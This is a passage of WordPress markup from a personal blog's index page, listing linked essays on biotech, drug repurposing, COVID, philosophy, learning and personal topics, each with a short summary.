href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>It depends on circumstance and is not an inherent property of the virus</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>It\'s an average, which ignores superspreaders</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The estimates for R0 of all viruses vary drastically</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Biotech</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-get-rich-combining-generic-drugs-lessons-from-axsome/\" data-type=\"page\" data-id=\"540\">How to get rich combining generic drugs: lessons from Axsome</a> - Lessons from the masters of drug repurposing</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/another-entry-for-the-repurposing-files/\" data-type=\"page\" data-id=\"530\">Another entry for the repurposing files</a> - Combining generics for obstructive sleep apnea</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/regulators-almost-killed-biotech-before-it-began/\" data-type=\"page\" data-id=\"510\">Regulators almost killed biotech before it began</a> - The early days of Genentech.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-brief-analysis-of-the-plasticlist-report/\" data-type=\"page\" data-id=\"508\">A brief analysis of the PlasticList report</a> - Breaking it down. What got me interested in plasticizers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-drugs-good-depends-on-what-youre-trying-to-do/\" data-type=\"page\" data-id=\"494\">Are drugs good? Are side effects bad? It depends on what you\'re trying to do</a> - A plea for sanity around whether psychedelics are \"good\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-list-of-health-problems-that-should-be-solved-pet-first/\">A list of health problems that should be solved pet first</a> - Trying to recruit people to join animal health and solve these problems. Free alpha! </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-short-rundown-of-how-animal-drugs-are-regulated/\">A short rundown of how animal drugs are regulated</a> - CVM looks for safety, efficacy, and manufacturing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/animal-health-is-still-in-its-infancy/\">Animal health is still in its infancy</a> - There\'s a lot of room left to grow before veterinary work is as \"mature\" as human health work. You should come work in animal health!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/viking-therapeutics-has-an-8-billion-market-cap-with-27-full-time-employees-this-is-their-story/\" data-type=\"page\" data-id=\"438\">Viking Therapeutics has an $8 billion market cap with 27 employees. This is their story</a>. - Showing that you don\'t really need discovery capabilities as a biotech startup.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/karuna-therapeutics-a-drug-repurposing-effort-sold-for-about-14-billion-this-is-their-story/\" data-type=\"page\" data-id=\"433\">Karuna Therapeutics sold for about $14 billion. This is their story.</a> - The greatest drug repurposing success of all time? Probably. Can I match it? Probably not.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/pharmacokinetics-drug-developments-broken-stair/\" data-type=\"page\" data-id=\"413\">Pharmacokinetics: drug development\'s broken stairs</a> - Explaining why the biotech world\'s understanding of PK sucks and what to do about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-rational-drug-design-meets-an-irrational-disease/\" data-type=\"page\" data-id=\"405\">When rational drug design meets an irrational disease</a> - The story of tofersen (a.k.a. Qalsody), Biogen\'s sketchy ALS drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/letter-to-a-young-biotech-founder/\" data-type=\"page\" data-id=\"369\">Letter to a young biotech founder</a> - Advice to those who want to start a biotech, especially just out of their PhD.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-manufacture-a-drug/\" data-type=\"page\" data-id=\"367\">How to manufacture a drug</a> - My brief introduction into how drugs are actually made, based on personal experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-struggle-with-step-1-of-the-fdas-15-step-flowchart/\" data-type=\"page\" data-id=\"338\">My struggle with step 1 of the FDA\'s 15 step flowchart</a> - Actually submitting things to the FDA, especially the CVM (Center for Veterinary Medicine), is insanely difficult for no good reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/we-have-changed-the-language-game-we-play-with-computers/\" data-type=\"page\" data-id=\"389\">We have changed the language game we play with computers</a> - Exploring LLMs through Wittgenstein\'s lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-ethical-philosophers-be-ethical-themselves/\" data-type=\"page\" data-id=\"387\">Should ethical philosophers be ethical themselves?</a> Yes. It\'s weird that I have to argue this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-live-in-a-world-that-philosophy-built/\" data-type=\"page\" data-id=\"385\">You live in a world that philosophy built</a> - Even if you ignore philosophy, philosophy has not ignored you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Close interaction with other people who are learning the same thing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Emotional bonding with said people</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Drilling of what you want to learn</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Single-minded focus on exactly what you want to learn</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-humans-in-machine-society/\" data-type=\"page\" data-id=\"544\">The place of humans in machine society</a> - my dog can\'t do anything in my apartment without my assistance. Is that the fate of humans to come?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/call-of-duty-as-a-lens-into-american-foreign-policy-from-2003-2025/\" data-type=\"page\" data-id=\"542\">Call of Duty as a lens into American foreign policy from 2003-2025</a> - My (failed) entry into the ACX not-book reviews. A very long post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/e-is-for-engaged/\" data-type=\"page\" data-id=\"536\">E is for Engaged</a> - I got engaged! Hurrah!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/32nd-birthday-dreams-of-waterworld/\" data-type=\"page\" data-id=\"534\">32nd birthday thoughts of Waterworld</a> - Turning 32 in a stranger world than the one I lived in the year before.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/10-years-out-from-princeton-and-headed-back/\" data-type=\"page\" data-id=\"532\">10 years out from Princeton and headed back</a> - Written right before my 10th reunion, and not entirely complimentary. Did I mention I went to Princeton?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/plainclothes-ice-officers-threaten-the-trust-needed-for-the-police-to-function/\" data-type=\"page\" data-id=\"522\">Plainclothes ICE officers threaten the trust needed for the police to function</a> - A very political post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-performative-cruelty-of-it/\" data-type=\"page\" data-id=\"520\">The performative cruelty of it</a> - Not so crypto political post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-responsibility-of-size/\" data-type=\"page\" data-id=\"514\">On the responsibility of size</a> - a crypto political post (crypto as in secret, not cryptocurrency).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-am-i-and-llms-so-bad-at-scrabble/\" data-type=\"page\" data-id=\"512\">Why am I (and LLMs) bad at Scrabble?</a> - Trying to understand my own mind and the mind of AIs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/reflections-on-a-brief-visit-to-florida/\" data-type=\"page\" data-id=\"506\">Reflections on a brief visit to Florida</a> - Visiting my parents in the land of elderly Jews (and their spouses).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manhattan-project-through-the-eyes-of-fermi/\" data-type=\"page\" data-id=\"502\">The Manhattan Project through the eyes of Fermi</a> - a fragmented summary of <em>The Making of the Atomic Bomb</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-brief-personal-history-of-optimistic-futures/\">A brief, personal history of optimistic futures</a> - a weird, short intellectual autobiography.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lessons-on-getting-things-done-from-robert-moses/\">Lessons on getting things done from Robert Moses</a> - a semi book review of <em>the Power Broker</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/culturing-honesty/\">Culturing honesty</a> - In praise of honesty and in attack of David Graeber.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-friend-claude/\">My friend, Claude</a> - In which I become more reliant on AIs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief\">Thoughts on California from a brief visit</a> - Disneyland, LA, and SF. A dizzying, intoxicating, overdosing combination.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/birthday-dreams/\" data-type=\"page\" data-id=\"450\">Birthday dreams</a> - Turning my newsletter into a platform for sharing my dreams.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-your-family-becomes-inverse-strangers/\" data-type=\"page\" data-id=\"436\">When your family becomes inverse strangers</a> - Being sad while looking at old postcards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lets-be-more-sincere-in-the-new-year/\" data-type=\"page\" data-id=\"427\">Let\'s be more sincere in the New Year</a> - A plead for sincerity, because that\'s how our society runs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/i-have-no-gift-for-gift-giving/\" data-type=\"page\" data-id=\"423\">I have no gift for gift-giving </a>- A Christmas-themed post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-life-through-halo/\" data-type=\"page\" data-id=\"421\">My life through Halo</a> - Nostalgia through a videogames lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-preciousness-of-life/\" data-type=\"page\" data-id=\"417\">On the preciousness of life</a> - Politics through a nostalgic lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-geosciences-paper-is-fraudulent-im-not-surprised/\" data-type=\"page\" data-id=\"411\">A geosciences paper is fraudulent? I\'m not surprised.</a> - Unpacking my trauma of my undergraduate experience in geosciences, which I maintain is a stupid field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-tao-of-fetch/\" data-type=\"page\" data-id=\"409\">The Tao of Fetch</a> - My ode to my best boy, Jasper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/back-then-i-never-thought-itd-be-a-long-time-ago/\" data-type=\"page\" data-id=\"407\">Back then, I never thought it\'d be a long time ago</a> - A nostalgia trip provoked by a physical trip (to Iceland).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-do-we-try-to-redeem-criminals-by-looking-at-their-upbringing/\" data-type=\"page\" data-id=\"401\">Why do we try to redeem criminals by looking at their upbringing? </a>Answering the title question through psychology and philosophy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/looking-for-your-keys-under-the-light/\" data-type=\"page\" data-id=\"399\">Looking for your keys under the light</a> - Sort of a philosophical essay based on a joke. Hard to explain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-apply-for-masshealth-an-18-step-guide/\" data-type=\"page\" data-id=\"397\">How to apply for MassHealth: an 18 step guide</a> - My journey through the MA healthcare bureaucracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bloody-mary-was-not-especially-bloody/\" data-type=\"page\" data-id=\"395\">Bloody Mary was not especially bloody</a> - Politics through a historical lens or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/something-interesting-is-happening-in-tulsa/\" data-type=\"page\" data-id=\"391\">Something interesting is happening in Tulsa</a> - My Birthright trip to Tulsa, Oklahoma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-an-ai-ever-be-as-intelligent-as-a-bat/\" data-type=\"page\" data-id=\"381\">Can an AI ever be as intelligent as a bat?</a> - Questioning intelligence with assistance from Thomas Nagel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/part-of-why-chatgpts-writing-ability-surprises/\" data-type=\"page\" data-id=\"379\">Part of why ChatGPT\'s writing ability surprises</a> - Trying to generalize from ChatGPT\'s writing ability to my own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/definitions-have-consequences/\" data-type=\"page\" data-id=\"377\">Definitions have consequences</a> - It\'s another AI post, this time yelling about the idea of \"AGI\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-advice-about-going-to-grad-school-to-change-your-career/\" data-type=\"page\" data-id=\"375\">My advice about going to grad school to change your career</a> - Basically, be careful before you spend $100k. Weird that I have to say this, but grad school marketing is strong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-to-do-when-the-tide-is-going-out/\" data-type=\"page\" data-id=\"340\">What to do when the tide is going out</a> - A sort of self-help for people who started building in buzzy spaces that are no longer buzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/peculiar-facets-of-my-ordinary-middle-class-american-childhood/\" data-type=\"page\" data-id=\"336\">Peculiar facets of my ordinary, middle-class American childhood</a> - In which I tell Europeans that we do, actually, drink from red solo cups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties 